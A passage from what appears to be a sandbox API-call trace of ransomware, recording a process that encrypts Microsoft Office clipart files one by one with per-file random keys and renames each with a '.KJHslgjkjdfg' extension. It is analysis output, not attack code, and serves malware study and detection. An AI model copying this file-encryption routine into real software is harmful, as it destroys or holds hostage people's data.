(in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0189.463] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0189.463] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0189.463] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0189.464] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0189.464] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0189.464] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0189.464] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.464] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x5f8, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x5f8, lpOverlapped=0x0) returned 1 [0189.464] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x600, dwBufLen=0x600 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x600) returned 1 [0189.464] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.464] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x600, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x600, lpOverlapped=0x0) returned 1 [0189.464] CryptDestroyKey (hKey=0x9b6628) returned 1 [0189.464] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x6d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.464] SetEndOfFile (hFile=0x130) returned 1 [0189.467] GetProcessHeap () returned 0x990000 [0189.467] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0189.467] GetProcessHeap () returned 0x990000 [0189.467] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0189.467] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00334_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00334_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00334_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00334_.wmf.kjhslgjkjdfg")) returned 1 [0189.468] CloseHandle (hObject=0x130) returned 1 [0189.468] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe38a5000, ftCreationTime.dwHighDateTime=0x1bd4b19, ftLastAccessTime.dwLowDateTime=0x61ca6dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe38a5000, ftLastWriteTime.dwHighDateTime=0x1bd4b19, nFileSizeHigh=0x0, nFileSizeLow=0xce2, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="HH00443_.WMF", cAlternateFileName="")) returned 1 [0189.468] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00443_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00443_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0189.470] GetProcessHeap () returned 0x990000 [0189.470] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0189.471] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0189.471] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0189.471] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xe, lpOverlapped=0x0) returned 1 [0189.473] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0189.473] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0189.473] GetProcessHeap () returned 0x990000 [0189.473] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0189.473] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0189.473] CryptDestroyKey (hKey=0x9b6628) returned 1 [0189.473] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0189.473] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0189.473] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0189.473] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0189.474] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0189.474] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0189.474] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0189.474] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0189.474] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.474] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xce2, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0xce2, lpOverlapped=0x0) returned 1 [0189.474] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0xcf0, dwBufLen=0xcf0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0xcf0) returned 1 [0189.474] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.474] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xcf0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0xcf0, lpOverlapped=0x0) returned 1 [0189.474] CryptDestroyKey (hKey=0x9b6628) returned 1 [0189.474] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xdc4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.474] SetEndOfFile (hFile=0x130) returned 1 [0189.477] GetProcessHeap () returned 0x990000 [0189.477] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0189.477] GetProcessHeap () returned 0x990000 [0189.477] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0189.477] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00443_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00443_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00443_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00443_.wmf.kjhslgjkjdfg")) returned 1 [0189.478] CloseHandle (hObject=0x130) returned 1 [0189.478] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe9cafd00, ftCreationTime.dwHighDateTime=0x1bd4b16, ftLastAccessTime.dwLowDateTime=0x5386f090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe9cafd00, ftLastWriteTime.dwHighDateTime=0x1bd4b16, nFileSizeHigh=0x0, nFileSizeLow=0x332, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="HH00513_.WMF", cAlternateFileName="")) returned 1 [0189.478] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00513_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00513_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0189.479] GetProcessHeap () returned 0x990000 [0189.479] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0189.479] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0189.479] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0189.479] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xe, lpOverlapped=0x0) returned 1 [0189.563] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0189.563] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0189.563] GetProcessHeap () returned 0x990000 [0189.563] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0189.564] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0189.564] CryptDestroyKey (hKey=0x9b6628) returned 1 [0189.564] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0189.564] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0189.564] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0189.564] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0189.564] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0189.564] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0189.564] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0189.564] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0189.564] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.564] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x332, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x332, lpOverlapped=0x0) returned 1 [0189.565] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x340, dwBufLen=0x340 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x340) returned 1 [0189.565] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.565] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x340, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x340, lpOverlapped=0x0) returned 1 [0189.565] CryptDestroyKey (hKey=0x9b6628) returned 1 [0189.565] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x414, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.565] SetEndOfFile (hFile=0x130) returned 1 [0189.568] GetProcessHeap () returned 0x990000 [0189.568] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0189.568] GetProcessHeap () returned 0x990000 [0189.568] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0189.568] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00513_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00513_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00513_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00513_.wmf.kjhslgjkjdfg")) returned 1 [0189.569] CloseHandle (hObject=0x130) returned 1 [0189.569] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd6576c00, ftCreationTime.dwHighDateTime=0x1bd4aed, ftLastAccessTime.dwLowDateTime=0x61ca6dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd6576c00, ftLastWriteTime.dwHighDateTime=0x1bd4aed, nFileSizeHigh=0x0, nFileSizeLow=0x3960, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="HH00524_.WMF", cAlternateFileName="")) returned 1 [0189.569] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00524_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00524_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0189.570] GetProcessHeap () returned 0x990000 [0189.570] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0189.570] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0189.570] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0189.570] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0189.570] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0189.570] GetProcessHeap () returned 0x990000 [0189.570] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0189.570] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0189.570] CryptDestroyKey (hKey=0x9b6628) returned 1 [0189.570] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0189.579] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0189.579] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0189.579] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0189.579] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0189.579] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0189.579] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0189.579] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0189.579] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.579] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x3960, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x3960, lpOverlapped=0x0) returned 1 [0189.593] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x3960, dwBufLen=0x3960 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x3960) returned 1 [0189.593] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.594] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x3960, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x3960, lpOverlapped=0x0) returned 1 [0189.594] CryptDestroyKey (hKey=0x9b6628) returned 1 [0189.594] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x3a34, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.594] SetEndOfFile (hFile=0x130) returned 1 [0189.597] GetProcessHeap () returned 0x990000 [0189.597] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0189.597] GetProcessHeap () returned 0x990000 [0189.597] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0189.597] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00524_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00524_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00524_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00524_.wmf.kjhslgjkjdfg")) returned 1 [0189.598] CloseHandle (hObject=0x130) returned 1 [0189.599] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd3f51200, ftCreationTime.dwHighDateTime=0x1bd4aed, ftLastAccessTime.dwLowDateTime=0x5386f090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd3f51200, ftLastWriteTime.dwHighDateTime=0x1bd4aed, nFileSizeHigh=0x0, nFileSizeLow=0x34e2, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="HH00526_.WMF", cAlternateFileName="")) returned 1 [0189.599] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00526_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00526_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0189.599] GetProcessHeap () returned 0x990000 [0189.599] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0189.599] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0189.599] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0189.600] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xe, lpOverlapped=0x0) returned 1 [0189.602] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0189.603] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0189.603] GetProcessHeap () returned 0x990000 [0189.603] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0189.603] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0189.603] CryptDestroyKey (hKey=0x9b6628) returned 1 [0189.603] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0189.603] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0189.603] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0189.603] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0189.603] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0189.603] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0189.603] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0189.603] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0189.604] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.604] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x34e2, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x34e2, lpOverlapped=0x0) 